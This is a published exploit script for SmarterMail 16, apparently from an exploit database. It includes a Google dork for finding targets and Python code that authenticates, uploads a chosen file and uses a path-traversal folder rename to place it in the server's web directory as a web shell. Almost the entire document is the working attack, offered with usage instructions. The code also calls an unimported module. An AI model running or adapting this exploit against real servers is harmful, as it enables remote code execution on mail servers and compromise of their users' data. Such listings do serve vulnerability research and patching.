SmarterMail 16 suffers from an arbitrary file upload vulnerability.
72450c5aaab572c56de94f8bfdb91744
# Exploit Title: SmarterMail 16 - Arbitrary File Upload
# Google Dork: inurl:/interface/root
# Date: 2020-06-10
# Exploit Author: vvhack.org
# Vendor Homepage: https://www.smartertools.com
# Software Link: https://www.smartertools.com
# Version: 16.x
# Tested on: Windows
# CVE : N/A
#!/usr/bin/python3
import requests, json, argparse
from requests_toolbelt.multipart.encoder import MultipartEncoder
#example usage:
#Authenticated
#python3 exp.py -w http://mail.site.com/ -f ast.aspx
#Change username & password !
class Tak:
def __init__(self):
self.file_upload()
self.shell_upload()
def loginned(self):
self.urls = results.wbsn + '/api/v1/auth/authenticate-user'
self.myobja = {"username":"[email protected]","password":"password","language":"en"}
self.xx = requests.post(self.urls, data = self.myobja)
self.data = json.loads(self.xx.text)
self.das = self.data['accessToken']
self.headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0', 'Authorization': "Bearer " + self.das}
def loginned_folder(self):
self.loginned()
self.url = results.wbsn + '/api/v1/mail/messages'
myobj = {"folder":"drafts","ownerEmailAddress":"","sortType":5,"sortAscending":"false","query":"","skip":0,"take":151,"selectedIds":[]}
x = requests.post(self.url, data = myobj, headers=self.headers)
print(x.text)
def create_folder(self):
self.loginned()
self.urlz = results.wbsn + '/api/v1/filestorage/folder-put'
myobj = {"folder": "testos1", "parentFolder":"Root Folder\\"}
myobj2= {"folder": "testos2", "parentFolder":"Root Folder\\"}
x = requests.post(self.urlz, data = myobj, headers=self.headers)
x = requests.post(self.urlz, data = myobj2, headers=self.headers)
print(x.text)
def file_upload(self):
self.create_folder()
'''
#resumableChunkNumber=1&
#resumableChunkSize=2097152&resumableCurrentChunkSize=955319&resumableTotalSize=955319&
#resumableType=image%2Fjpeg&resumableIdentifier=955319-112097jpg&resumableFilename=112097.jpg&
#resumableRelativePath=112097.jpg&resumableTotalChunks=1", headers={'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
#'Accept-Language': "en-US,en;q=0.5", 'Accept-Encoding': "gzip, deflate",
#print(self.xz)
#print(self.xz.headers)
'''
size = os.path.getsize(results.wbsf)
print(size)
replace_file = results.wbsf.replace(".","")
with open(results.wbsf, "rb") as outf:
contents = outf.read()
multipart_data = MultipartEncoder(
fields={
"context": "file-storage",
#"contextData": '{"folder":"Root Folder\\ " + str(results.wbsd) + "\\"}',
"contextData": '{"folder":"Root Folder\\\\testos1\\\\"}',
"resumableChunkNumber": "1",
"resumableChunkSize": "2097152",
"resumableCurrentChunkSize": str(size),
"resumableTotalSize": str(size),
"resumableType": "image/jpeg",
#"resumableIdentifier": "955319-112097jpg",
"resumableIdentifier": str(size) + "-" + str(replace_file),
"resumableFilename": results.wbsf,
"resumableRelativePath": results.wbsf,
"resumableTotalChunks": "1",
"file": (
'blob',#112097.jpg',
#open(file, "rb"),
contents,
#file,
#"image/jpeg"
"application/octet-stream"
#'text/plain'
)
}
)
'''
http_proxy = "http://127.0.0.1:8080"
proxyDict = {
"http" : http_proxy,
}
'''
# if you want to activate intercept then add with that argument, this parameter is necessary requiresfunc(if you want to activate it, please remove it from the comment line.) >> proxies=proxyDict
self.dre = requests.post(url=results.wbsn + "/api/upload",headers={"Content-Type": multipart_data.content_type,
'Authorization': "Bearer " + self.das,
'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"},data=multipart_data)
def shell_upload(self):
'''
http_proxy = "http://127.0.0.1:8080"
proxyDict = {
"http" : http_proxy,
}
'''
json_data = {
"folder": "Root Folder\\testos1\\",
"newFolderName": "\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\program files (x86)\\SmarterTools\\SmarterMail\\MRS\\testos1\\",
"parentFolder": "",
"newParentFolder": "Root Folder\\testos2"
}
#r = requests.post('http://mail.site.com/api/v1/filestorage/folder-patch', json=json_data, headers=self.headers, proxies=proxyDict)
r = requests.post(results.wbsn+'/api/v1/filestorage/folder-patch', json=json_data, headers=self.headers)
print(results.wbsn + "/testos1/" + results.wbsf)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-f', action='store', dest='wbsf',
help='Filename')
parser.add_argument('-w', action='store', dest='wbsn',
help='Target')
parser.add_argument('--version', action='version', version='SmartMail Knock Knock')
results = parser.parse_args()
tako = Tak()
tako